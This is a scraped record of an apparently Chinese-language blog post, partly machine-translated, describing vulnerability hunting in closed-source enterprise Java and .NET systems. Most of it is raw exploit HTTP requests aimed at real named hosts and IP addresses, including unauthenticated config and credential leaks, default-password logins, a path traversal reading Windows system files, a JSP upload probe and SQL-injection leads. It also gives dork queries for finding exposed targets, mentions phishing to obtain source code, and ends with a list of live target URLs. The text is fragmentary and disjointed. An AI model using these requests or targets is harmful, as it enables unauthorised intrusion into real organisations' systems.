{"schemaVersion":"1.0","type":"Article","types":["Article"],"slug":"how-i-found-vulnerabilities-in-17-closed-source-java-systems-over-six-months-kz47v","url":"https://zyvop.com/how-i-found-vulnerabilities-in-17-closed-source-java-systems-over-six-months-kz47v","title":"How I Found Vulnerabilities in 17 Closed-Source Java Systems Over Six Months","subtitle":null,"tldr":"Some source code collection ideas hunter搜索语句: web.title==\"Everything\"&amp;&amp;icpname =“xxxweb.title==\"Index of /\" web.title==\"Directory List l web.title==\"Dir...","keywords":[],"entities":["I0veD","cyber security researcher","ZyVOP"],"keyTakeaways":["Some source code collection ideas hunter搜索语句: web.title==\"Everything\"&amp;&amp;icpname =“xxxweb.title==\"Index of /\" web.title==\"Directory List l web.title==\"Directory listingfor /\") &amp;&amp;\"xxxx (webtitle==\"Home Page - Select or create a notebook\" web.title==\"JupyterLab\")&amp;&amp;\"xxxx\"禅道 gitlab influence等共同开发平台获取客服源码 钓鱼获取源码 后渗透获取源码 假冒客户获取冤啊 应用交付平台获取供应商与客户之间的对接的源码 SaaS：供应商会在自己的服务器上为客户提供服务。攻击者可以攻击供应商从而窃取客户的数据。 为了防止404 最好选择有icp备案的进行访问NO.1 ==Mingyuan Cloud poc== GET /service/Mysoft.Report.Web.Service.Base/GetErpConfig.aspx?erpKey=erp60&amp;x-charset=utf-8&amp;_t=0.6960882280478717 HTTP/1.1 Host: my.hucd.cn:9090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: sid=3vyy20zqlbon0hgdg1olaijb Connection: closeweb.body=\"Mingyuan Cloud\" Then look at the single URL of the system to see what services are available (directly put this IP into hunter to search) Look for these without site titles Just click on any one and take a look.","Put burp in and take a look.","I don’t know why there are cookies."],"headings":["Some source code collection ideas","NO.1","NO.2","NO.3","NO.4","NO.5","NO.6","Decompile","Line 1","At the same time, we also need to conduct line two to conduct a security audit.","Third line:","fourth line","fifth line","NO.7","NO.8","NO.9","NO.10","NO.11","1th","2th","3th","4TH","5TH","6TH"],"outboundLinks":["http://zcpt.xinxingyu.com:8050/","http://erp.zhongruihengji.com:9090/Index.aspx","http://171.34.44.75:9090/","https://github.com/5wimming/jar-decompile","https://github.com/Ppsoft1991/CodeReviewTools","https://www.zilyun.com/44761.html","https://221.226.79.114:8443/CardSolution/","https://59.55.120.93:8443/cpmms/#/dynPmms","https://59.55.120.93:8443/cpmms/","https://map.pj968969.cn:8443/dsc-mac/","https://dah.inpark.com.cn:8443/emap/","https://112.115.106.62:8443/face/","https://e6fhmfwk.v3n.pkoplink.com:8443/index/","https://e6fhmfwk.v3n.pkoplink.com:8443/portal/","https://e6fhmfwk.v3n.pkoplink.com:8443/portal/login_init.action?randomSession=1679643539245","https://86wamwwk.v3n.pkoplink.com:8443/publishing/","https://86fh7fwk.v3n.pkoplink.com:8443/vims/","http://112.30.51.52:8089/CardSolution/doorOpenRemoteControl.jsp","https://evalshell.com/","https://tttang.com/archive/1541/","https://www.yuque.com/loulan-b47wt/rc30f7","https://youtu.be/nvCd0Ee4FgE","https://tttang.com/archive/1570/#toc_0x06","https://github.com/Wker666/wJa","https://tttang.com/archive/1511/","https://github.com/webraybtl/CodeQLpy","https://hr-417216.gzzjzhy.com/services/HrpService","https://de.wikipedia.org/wiki/Apache_CXF","https://github.com/CodeIntelligenceTesting/jazzer"],"contentText":"Some source code collection ideas hunter搜索语句: web.title==\"Everything\"&amp;&amp;icpname =“xxxweb.title==\"Index of /\" web.title==\"Directory List l web.title==\"Directory listingfor /\") &amp;&amp;\"xxxx (webtitle==\"Home Page - Select or create a notebook\" web.title==\"JupyterLab\")&amp;&amp;\"xxxx\"禅道 gitlab influence等共同开发平台获取客服源码 钓鱼获取源码 后渗透获取源码 假冒客户获取冤啊 应用交付平台获取供应商与客户之间的对接的源码 SaaS：供应商会在自己的服务器上为客户提供服务。攻击者可以攻击供应商从而窃取客户的数据。 为了防止404 最好选择有icp备案的进行访问NO.1 ==Mingyuan Cloud poc== GET /service/Mysoft.Report.Web.Service.Base/GetErpConfig.aspx?erpKey=erp60&amp;x-charset=utf-8&amp;_t=0.6960882280478717 HTTP/1.1 Host: my.hucd.cn:9090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: sid=3vyy20zqlbon0hgdg1olaijb Connection: closeweb.body=\"Mingyuan Cloud\" Then look at the single URL of the system to see what services are available (directly put this IP into hunter to search) Look for these without site titles Just click on any one and take a look. Put burp in and take a look. I don’t know why there are cookies. GET /service/Mysoft.Report.Web.Service.Base/GetErpConfig.aspx?erpKey=erp60&amp;x-charset=utf-8&amp;_t=0.22701625859819452 HTTP/1.1 Host: erp.zhongruihengji.com:9090 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 x-charset: utf-8 Referer: http://erp.zhongruihengji.com:9090/Index.aspx Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: sid=e1muhiu4unpuidi3ybamwobr; appkey=timespan=1677077400&amp;pswd=YddkYBAFH3IrWhkWxqJaAw== Connection: closeThe cookie will be gone when you visit again later. I refreshed the page below It was found that there was no authentication directly from thehttp://zcpt.xinxingyu.com:8050/Go tohttp://erp.zhongruihengji.com:9090/Index.aspxAnd fill in \"key=1\" by default web.body=\"Reporting Service\"&amp;&amp;ip.port=\"9090\" is full of \"report sites that have been successfully built\" web.body=\"Report Service\"&amp;&amp;ip.port=\"8050\" (it doesn’t have to be 8050, you can just don’t need ip.port) Or web.body=\"ERP registration\"&amp;&amp;ip.port=\"8050\" There may be unauthenticated sites inside. Let’s search directly web.body=\"Reporting Service V3.0.0.1-ERP Registration\" I found that these can be logged in directly, and they all have the password 1. Could it be that the password is determined based on the first login? POST /Index.aspx HTTP/1.1 Host: erp.zhenro.com:8092 Content-Length: 127 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Origin: http://erp.zhenro.com:8092 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://erp.zhenro.com:8092/Index.aspx Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: sid=wd40gxlddqbwzbbks4mmkslj; BIGipServerpool_erp_http_8092=2919305388.39967.0000; appkey=timespan=1677080802&amp;pswd=33h/i5rogOVbV4CLb2mc2g== Connection: close __VIEWSTATE=%2FwEPDwUKLTUxMTcwNzgxMGRkSbcKRWV%2FRcWXmYa0oj0UzDw6aa2gMpdVXAM%2FeSDatX8%3D&amp;__VIEWSTATEGENERATOR=90059987&amp;psword=1 Let's put this /service/Mysoft.Report.Web.Service.Base/GetErpConfig.aspx?erpKey=erp60&amp;x-charset=utf-8&amp;_t=0.22701625859819452 Put into ==all== Try it in web.body=\"Reporting Service\" Unauthorized access to keys was found example: 1. Find a site171.34.44.75:9090 There is no sid when you visit for the first time. After refreshing, the sid will appear. Send to repeter A simple unauthorized vulnerability Summarize: 1.找系统 2.对该系统的特定ip找服务 3.每个服务放到burp里看有没有未授权(途径:看包改包 看相应的pretty) 4.找到了未授权的报表系统-ERP注册界面或web.body含有”报表系统-ERP注册“，密码为1 5.发现9090的\"报表系统正在运行中\"是5050的”erp注册“的完整版 6.burp获取”erp注册“的访问目录套进\"报表系统正在运行中\"进而造成未授权The boss said he found another unauthorized person Where did you get the directory? Unknown NO.2 The registered capital is only 10 million. Keep it for Jiaodong. js access -&gt; controller directory penetration (such as being able to access ashx), try one directory at a time web.body=Chongqing Yuanqiu Technology Co., Ltd. 用户读取 GET /Manage/User/ManagerBrowser.aspx?id=2 HTTP/1.1 Host: zsyy.qhssyy.com:8008 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: ErrorTimes=0 Connection: closeVisit the aspx and find that the page jumps back to the home page. Then put it in the burp package and see the return package. Find the following in order. /Manage/WebConfig.aspx /Manage/HomePage.aspx /Manage/User/ManagerBrowser.aspx?id= /UserInfo/UserBrowser.aspx /UserTest/MoniTestMain.aspx /UserTest/PaperTest.aspx /UserTest/ChapterList.aspx /UserTest/FavorList.aspx?code=001001 /DocPages/DocList.aspx /News/NewsList.aspx /DocPages/ToolFileList.aspxWhen I run it again, everything jumps to the login page. Going to burp again is a bit meaningless. Another point is because I feel that the aspx of burp again is also the above. Then let’s try burp directly with these two controllable ones. /Manage/User/ManagerBrowser.aspx?id= /UserTest/FavorList.aspx?code=001001An unauthorized + information leak came out try it /UserTest/FavorList.aspx?code=001001 Nothing good, I got this one back /UserTest/FavorTitleList.aspx?type= give it a try Okay. Report an error. Then we won’t do it. NO.3 icp.name=\"Medical/Energy/Infrastructure/Human Systems/Finance\"&amp;&amp;web.body=\".asmx\" Exposing the swagger interface is directly unauthorized. The backups were exposed Throw it into burp and check the return package It’s nothing. It’s because everything has been exposed, so there’s nothing interesting to see. NO.4 An icp check js Direct access to see if the returned package has js or corresponding language such as ashx access ==Generally, just check the hunter page for each ICP== Like this is a place where you can blast aspx NO.5 Ruiqiyun code audit 1: Look at xml 1.xxx.security.xml IS_AUTHENTICATED_ANONYMOUSLY above Match the following \"/*/\"IS_AUTHENTICATED_REMEMBERED forms a whitelist Double-click shift! Find! Find these RequestMapping routes All are accessible Think about deployment and access through functions, all relying on routing public void downAll(HttpServletRequest request, HttpServletResponse response) { try { String filePath = ParamUtils.getParameter(request, \"fpid\", (String)null); filePath = URLDecoder.decode(filePath, \"UTF-8\"); filePath = filePath.replace(\"＼\", \"\\\"); File file = new File(filePath);Controllable \"Right click\"-&gt;Show context request-&gt;Construct request in http Construct POC POST /hret/downfile HTTP/1.1 Host: 220.175.120.50:7755 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 47 fpid=C:\\Windows\\System32\\drivers\\etc\\HOSTS ==Note== This format ==\"getParameter(request, \"fpid\", (String)null);\"== code Our malicious construct==\"fpid=C:\\Windows\\System32\\drivers\\etc\\HOSTS\"== can only be placed under the package ==Here’s the key point. In fact, we can’t catch the package above== We can only catch bags like this GET /login HTTP/1.1 Host: 220.175.120.50:7755 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://220.175.120.50:7755/login;jsessionid=056B531393A01B73AFF6BCBF013CA38D Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID_Ecloud=056B531393A01B73AFF6BCBF013CA38D Connection: closeThen we can construct the package in sequence You can write whatever you want in the box or delete them. But Content-Type: application/x-www-form-urlencoded must be written and bound to post. There is also a == that must not be a blank line! ! == You see, we can change the login package above. Still ok Aren't our entire directories accessible? Let's try @request You can do the same. That’s just a few holes. Isn’t there another directory for xml? Give it a try too There is a loophole (originally it is not possible, let’s try filling in some characters) Jump to another level. Isn’t there other xml outside? Let’s look at other xml. Take the intercept-url pictured below and apply it Unfortunately, there is nothing Then let’s jump to another level. Isn’t there also a web.xml? Generally speaking, what to look at in web.xml is about session authentication, such as this opensession. ==The cyan box is filled in by ourselves (pretending there is a hole)== ==Generally, if something like \"\"/admin/api\"\" is written here, what can we do?== ==We can construct /admin/api.js, then the controller may jump to /admin/api to achieve unauthorized == ==Later, I discovered that most of these contorlls are decompiled class files in the web.inf package. The contents of these files cannot be accessed by ordinary ctrl+shift+f. Double-click shift to see the decompiled file. Then we need to pay more attention to the contents of these files. There are quite a lot of controllable getparams in them== Although there is no plug-in to solve the above method, we can decompile and save it through the gui and then use seekfast to find the content in the class file. besides ZenTao 18.0~18.3 backstage command injection NO.6 Find session, find control servlet &lt;servlet-name&gt;uploaddoc&lt;/servlet-name&gt; &lt;url-pattern&gt;/servlet/uploaddoc&lt;/url-pattern&gt;&lt;servlet-name&gt;PayBill&lt;/servlet-name&gt; &lt;url-pattern&gt;/servlet/PayBill&lt;/url-pattern&gt;&lt;servlet-name&gt;worksgn&lt;/servlet-name&gt; &lt;url-pattern&gt;/PlutoInvoker/worksgn&lt;/url-pattern&gt;Decompile The idea is like this. Generally, classes are in jar packages. Then we have to decompile them first to facilitate search. java batch decompilation This requires using our jad.exe What we have to do now is to unpack the jar packages in batches and then decompile them in batches. Generally our jar package exists in this location: WEB-INF\\lib Although it is generally necessary to exclude irrelevant jar packages such as cc4 But we have this code ==The following files are all there== G:\\桌面文件夹\\src\\java批量反编译inside import os import zipfile #参数：1、工程目录；2、编译插件路径 def decompile(filepath,toolpath): for root,dirs,files in os.walk(filepath): print('[+] '+root) for filename in files: if '.jar' in filename or '.class' in filename: if not os.path.exists(root+'src'):#自动在jar包同级目录下创建以_src结尾的文件夹，用以存放反编译后的jar包和解压包 os.makedirs(root+'src') try: os.system('java -jar {0} {1} {2}'.format(toolpath,root+'/'+filename,root+'src')) with zipfile.ZipFile(root+'src'+'/'+filename, 'r') as zzz: zzz.extractall(root+'src'+'/'+filename[:-4]) os.remove(root+'src'+'/'+filename) except: print('error:'+root+'/'+filename) if name == 'main': filepath='/lib' #1、需要编译的工程目录 toolpath='fernflower.jar' #2、编译软件路径 decompile(filepath,toolpath) and this decompile jar package file https://github.com/5wimming/jar-decompile Because each set of code review cycle is about a week, so it is not used many times, so I suggest that every time you use it, put the lib and this jar file directly on the desktop and use it directly, like this ok After decompilation, copy directly into web-inf Later I found a better one that supports direct code search Ppsoft1991/CodeReviewTools: Use regular search and batch decompile class names in specific Jar packages (github.com) Now you can find a lot of things at a glance What to do then? We look for historical loopholesUF Spacetime KSOA software front-end file upload vulnerability-Ziyun Community (zilyun.com) &lt;font face=\"Calibri\"&gt;POST http://ip:port/servlet/com.sksoft.bill.ImageUpload?filepath=/&amp;filename=111111.jsp&amp;_ZQA_ID=d0d60ec54924481c HTTP/1.1&lt;br&gt; User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0&lt;/font&gt;&lt;br&gt; &lt;font face=\"Calibri\"&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/&lt;a href=\"https://www.zilyun.com/tag/web\"&gt;web&lt;/a&gt;p,*/*;q=0.8&lt;/font&gt;&lt;br&gt; &lt;font face=\"Calibri\"&gt;Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2&lt;/font&gt;&lt;br&gt; &lt;font face=\"Calibri\"&gt;Accept-Encoding: gzip, deflate&lt;/font&gt;&lt;br&gt; &lt;font face=\"Calibri\"&gt;Content-Type: multipart/form-data; boundary=---------------------------122739796041499160471980406311&lt;/font&gt;&lt;br&gt; &lt;font face=\"Calibri\"&gt;Content-Length: 51&lt;/font&gt;&lt;br&gt; &lt;font face=\"Calibri\"&gt;Origin: null&lt;/font&gt;&lt;br&gt; &lt;font face=\"Calibri\"&gt;Connection: close&lt;/font&gt;&lt;br&gt; &lt;font face=\"Calibri\"&gt;Upgrade-Insecure-Requests: 1&lt;/font&gt;&lt;br&gt; &lt;br&gt; &lt;font face=\"Calibri\"&gt;&lt;% out.println(\"bea86d66a5278f9e6fa1112d2e2f1\"); %&gt;&lt;/font&gt;You can see that the interface inside is accessiblecom.sksoft.bill.ImageUpload Line 1 ==Summary of existing priorities== OA目录 web.xml burp-repeater var1.getParameter 总结:先自下而上并同级搜索 再自上而下 Let’s check locally WEB-INF\\lib_src_\\ksoa\\com\\sksoft\\bill\\ImageUpload.java In other words, all files under WEB-INF\\lib_src_\\ksoa\\com\\sksoft\\bill\\ are probably accessible. Let’s try it. The hole before was because it was controllable. Many red codes don’t affect our viewing. First look at the controllable getparam Then we can proceed with the code audit operation. At the same time, we also need to conduct line two to conduct a security audit. This ensures that the controls we audit can be accessed You see, you can access it com.sksoft.*** Since our com.sksoft.bill line is accessible Then we can look for com.sksoft in web.xml. Is there any other line? Then we can see if it is controllable. Repeat the operation of the second line and we find all getparams! ! ! (Whimsical, please contact me if you have the tools)😭 Otherwise, we should take our time, file by file, and don’t take big steps. ==I'm speechless. It seems that the holes in this frame from last year haven't been repaired yet== Third line: Use burp to compare adaptations and see if you can access it. There is suspicion of SQL injection in CheckRepeat UFIDA/WEB-INF/lib_src_/ksoa/com/sksoft/v8/trans/servlet/StateSyncServlet.java It’s really difficult to construct. Brothers who fight CTF. Part 1 Later I discovered that although the code style is messy, it can be used (\"service\"); to construct a simple controllable Then we have to ctrl+shift+f ==DOGET DOPOST custom function should also pay attention== fourth line ctrl+shift+f var1.getParameter(\"\") Explore Accessible interfaces: /servlet/com.sksoft.v8.cb.RetailUserRegister com.sksoft.v8.km.Tree 这种虽然可访问 但是不能burp-post 只能找找有没有下级目录未授权 If you think this is routine, don’t look at it. Mainly looking for this kind of This level should be placed in front of web.xml. Use this method to narrow the scope first. fifth line Find 500 in a roundabout way Why does the 500 palindrome exist? Generally, it is because we do not have normal access (the structure is correct) and cannot access it. It will be fine if we construct the correct return packet. md accidentally broke his phone just now and was in a bad mood. Just look at the code. //doGet 这个的意思是，你即便是get传参进去，也会调用POST this.doPost(var1, var2); protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws IOException, ServletException { this.doPost(var1, var2); } //doPost HttpServletRequest var1 这个就是接受传参。 String var3 = var1.getParameter(ACTION) 获取一个名为ACTION 的参数，也就是ACTION= //然后走到process 这个方法里面。 protected void doPost(HttpServletRequest var1, HttpServletResponse var2) throws IOException, ServletException { String var3 = var1.getParameter(ACTION); this.process(var1, var2, var3, (Document)null, (String)null); } //但是，你可以看到，他也是取得了HttpServletRequest if(var3.equals(\"write\"))这个IF判断，才是处理模块 //需要满足ACTION=write 才能进入这个功能模块 然后走到String var6 = this.a(var1, var2); //追入到this.a protected void process(HttpServletRequest var1, HttpServletResponse var2, String var3, Document var4, String var5) throws IOException, ServletException { if(!var3.equals(\"read\") &amp;&amp; !var3.equals(\"readnews\")) { if(var3.equals(\"write\")) { try { String var6 = this.a(var1, var2); var2.setContentType(\"text/xml;charset=UTF-8\"); var2.setHeader(\"Pragma\", \"no-cache\"); var2.setHeader(\"Expires\", \"0\"); PrintWriter var7 = var2.getWriter(); var7.write(\"&lt;root&gt;\"); var7.write(var6); var7.write(\"&lt;/root&gt;\"); var7.flush(); } catch (Exception var8) { this.analyzeException(var3, var8); this.outputError(var2, var8.getMessage()); } } else { var3.equals(\"readnews\"); } } else { try { if(var3.equals(\"read\")) { this.do(var1, var2); } else if(var3.equals(\"readnews\")) { this.if(var1, var2); } } catch (Exception var9) { this.analyzeException(var3, var9); DesktopInfo.outputErrorInfo(var2, \"附件读取错误\", var9.getMessage(), \"javascript:history.go(-1)\", \"返回\"); } } } public static String getGUID() { int var0 = int; short var1 = do; Object var2 = for; synchronized(for) { if(do == 32767) { boolean var3 = false; while(!var3) { long var4 = System.currentTimeMillis(); if(var4 &lt; new + 1000L) { try { Thread.sleep(1000L); } catch (InterruptedException var7) { ; } } else { new = var4; do = -32768; var3 = true; } } } var1 = do++; } return GeneralUtility.getRawDateTime() + \"-\" + Integer.toString(var0, 16) + Integer.toString(var1, 16); } private void do(HttpServletRequest var1, HttpServletResponse var2) throws Exception { String var3 = GeneralUtility.iso2gb(var1.getParameter(\"attachid\")); String var4 = CommonProperty.getInstance().getAttachPath(); File var5 = new File(var4 + \"/\" + var3.substring(0, 6) + \"/\" + var3); if(!var5.exists()) { var5 = new File(var4 + \"/temp/\" + var3); if(!var5.exists()) { throw new Exception(\"找不到指定的附件：\" + var3); } } String var6 = var3; int var7 = var3.indexOf(95); if(var7 &gt; 0) { var6 = var3.substring(var7 + 1); } this.a(var1, var2, var5, var6); } private void if(HttpServletRequest var1, HttpServletResponse var2) throws Exception { String var3 = var1.getParameter(\"attachid\"); String var4 = GeneralUtility.iso2gb(var1.getParameter(\"trace\")); String var5 = GeneralUtility.iso2gb(var1.getParameter(\"exclusivenm\")); String var6 = CommonProperty.getInstance().getNewsAttachPath(); File var7 = new File(var6 + var4); if(!var7.exists()) { throw new Exception(\"找不到指定的附件：\" + var5 + \"(附件ID:\" + var3 + \")\"); } else { int var8 = var5.indexOf(95); if(var8 &gt; 0) { var5 = var5.substring(var8 + 1); } this.a(var1, var2, var7, var5); } } private void a(HttpServletRequest var1, HttpServletResponse var2, File var3, String var4) throws Exception { var2.setContentType(\"application/x-msdownload\"); var2.setHeader(\"Content-Disposition\", \"attachment;filename=\" + GeneralUtility.gb2iso(var4)); FileInputStream var5 = new FileInputStream(var3); byte[] var6 = new byte[4096]; ServletOutputStream var8 = var2.getOutputStream(); int var7; while((var7 = var5.read(var6)) != -1) { var8.write(var6, 0, var7); } var8.flush(); var5.close(); } //String var3 = GeneralUtility.iso2gb(var1.getParameter(\"filename\")); 这里，他还要你提供一个filename //也就是ACTION=write&amp;filename=文件名 //String var4 = getGUID() + \"\" + var3; 这里是生成一个文件名，你可以理解为一个随机数+filename 比如Filename = 1.jsp // getGUID生成的值为1111 那么var4等于1111.jsp //String var5 = CommonProperty.getInstance().getAttachPath();这个可以无视，他没有接受传参这类的 //File var6 = new File(var5 +. \"/temp\"); 这里是路径，然后打开流 // if(!var6.exists()) 判断非空 // File var7 = new File(var5 + \"/temp/\" + var4); 理解为指定路径 //ServletInputStream var8 = var1.getInputStream(); 获取流 也就是，这块位置的内容，他没有指定参数这类，可以不考虑传参，直接丢想要写入的内容就可以 //剩下的就是循环，判断，写入，然后关闭流 //重点是，他这个temp的目录是没有的，或者说存在某个配置，但是你是静态分析代码，很难去得知路径 //下面就是要思考怎么绕过这个限制 private String a(HttpServletRequest var1, HttpServletResponse var2) throws Exception { String var3 = GeneralUtility.iso2gb(var1.getParameter(\"filename\")); String var4 = getGUID() + \"\" + var3; //他这里是获取某个写好的静态变量比如Path=Admin/file/ 这类的，但是你可以看到，我刚刚追进去，他是无法继续深究不知道具体的指向 String var5 = CommonProperty.getInstance().getAttachPath(); File var6 = new File(var5 + \"/temp\"); if(!var6.exists()) { var6.mkdirs(); } //File var7 = new File(var5 + \"/temp/\" + var4);这里就是路径 File var7 = new File(var5 + \"/temp/\" + var4); ServletInputStream var8 = var1.getInputStream(); var7.createNewFile(); FileOutputStream var9 = new FileOutputStream(var7); int var10 = var1.getContentLength(); byte[] var11 = new byte[4096]; boolean var12 = false; int var13 = 0; Next try to find the bypass (find the http directory) We pass this poc under the same file POST /servlet/com.sksoft.bill.Attachment?action=read&amp;&amp;attachid=20230311160742-fde0d5-7ffd_1.jsp HTTP/1.1 Host: 114.111.0.236:8001 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9;image/jpeg Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 0It can be found that attachid is the basis for judging files. Why are we looking for this? Because we want the server to respond to the file directory, so we have to provide him with a file. Another one is this getattachpath. Doesn’t the other party want to return the address? It also needs to go through this function. Try ctrl+shift+f POST /servlet/uploaddoc?key=readimage&amp;sImgname=../..&amp;sKeyvalue=20230311160742-fde0d5-7ffd_1.jsp HTTP/1.1 Host: 114.111.0.236:8001 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9;image/jpeg Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 2Finally, in this uploaddoc file, I tried a lot of methods but couldn't succeed. If the function is constructed successfully, there will be a SQL injection in it. Later, I heard from the boss that the file was not implemented yet. Now that the paths have been spliced, just ../ cross directories and it’s done. Directly upload across directories to the specified address This is more difficult for novices because it is a static code audit and the path is difficult to track. This is quite difficult to find. Let’s introduce it step by step because in fact it will not be echoed correctly in the response. You have no way of knowing where it is generated and echoed correctly. ==Let me summarize a shortcut method first. See the following operations (that is, post a package and visit the web once)== Then just add a few blur points I think these two are actually generated halfway. This kind of response \"cannot tell you clearly the echo you want.\" This requires 1. We need to use web.get to determine 2. Don’t think that the appearance of such a thing means that it cannot be found. NO.7 Ordinary code auditing is still too unintuitive, especially for packet capture. Unless your code audit is very strong, it is still recommended to build the platform first if you can. Therefore, it is recommended to build a platform first NO.8 Qiangzhi-struct2 Generally speaking, authentication is controlled by the controller. But I want to take advantage of the features of st2, such as /yhxigl.do I saw that there is a function that is not authenticated, but if I call the function in the same directory, it will directly cause permission problems. For example, function A under /yhxigl.do is not authenticated, but in st2, you can control other functions on the same page of function A by controlling the parameter transfer. Now I want to call function B. But it cannot be called and prompts for authentication. ==Because when you do authentication, you must do /yhxigl.do-based authentication. == NO.9 The black box must be searched on several websites. As mentioned before, some websites are not fully configured. Some websites have corresponding functions and some websites do not. Qi'an Xinyingtu: app.name=\"Chanjietong T+\" 1.ASP.NET_SessionId authentication Even if the login fails, a new ASP.NET_SessionId will be given when capturing the packet. This ASP.NET_SessionId can be accessed These three function points have SQL injection in the \"second message subscription\" function point. Why did you find this place? Just multiple test sites, try more 2./tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers {\"condition\":\"\",\"accNum\":\"\",\"onlyBuying\":false} The poc is as follows POST /tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers HTTP/1.1 Host: 114.117.204.254:2105 Content-Length: 47 Accept: X-AjaxPro-Method: X-Requested-With: User-Agent: Content-Type: Origin: Referer: Accept-Encoding: Accept-Language: Cookie: ASP.NET_SessionId=5zrruyvkam3rdll3j2guf0h0; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1654339085; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1654339085; sid=admin Connection: close {\"condition\":\"\",\"accNum\":\"\",\"onlyBuying\":false} 3. Although I have seen this place many times before, it actually has holes, so I have to try more or find a code white box. ./login.model.js login.controller.js ../clientversion.js var clientVersion=\"1710\"; ../../app/viewextend.js login.model.js,login.controller.js,../clientversion.js,../../app/viewextend.js ChangePassword.aspx 'ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx', 'img/checkcode.ashx?' ../LicenseInformation.aspx \"http://172.16.200.205:802/CencProductRegister.aspx?\" \"RecoverPassword.aspx\" \"找回密码\" ../../img/checkcode.ashx ../img/checkcode.ashx 都可 ../../../checkcode.ashx ../../../img/checkcode.ashx 不行 ../../*.ashx 路径中具有非法字符 *是非法字符 没几个调用 唯一可能有用那个的就是这个../img/checkcode.ashx 4.Video \\Chanjet Black Box Test&lt;/p&gt; NO.10 zj bank qingqi technology webchat webapps/webstat/WEB-INF/lib_src_/ucstar_webstat/qflag/ucstar/webcall/servlet/RandImagesServlet.java C:\\Users\\CDxiaodong\\Desktop\\Zheshang Bank\\webapps\\webstat\\dxmobilewebcall\\gettime.jsp I’m quite speechless and reluctant to open my mouth = = NO.11 This thing has several different sets of functions that are all accessible, so you have to try them separately. 1th https://221.226.79.114:8443/CardSolution/ After comparing this, this appears, but likepmmsThere will be no such \"login timeout\" I looked through web.xml and saw all kinds of authentication and filters. I was too lazy to look at it, so I just fuzzed it. dir .jsp /b /s and then fuzz directly During this period, you need to refresh the interface to see if it is blocked by the firewall. 2th https://59.55.120.93:8443/cpmms/ There is no \"login timeout\" reported. Take a look at the source code. Static package skip 3th My JSP 'index.jsp' starting page (pj968969.cn) Nothing next 4TH login (inpark.com.cn) Nothing next 5TH Face application page/include/sidebar.jsp Can be accessed directly OK There is no controllable upload point. Next 6TH e6fhmfwk.v3n.pkoplink.com The entire directory has no permissions Next 7th https://e6fhmfwk.v3n.pkoplink.com:8443/portal/will jump 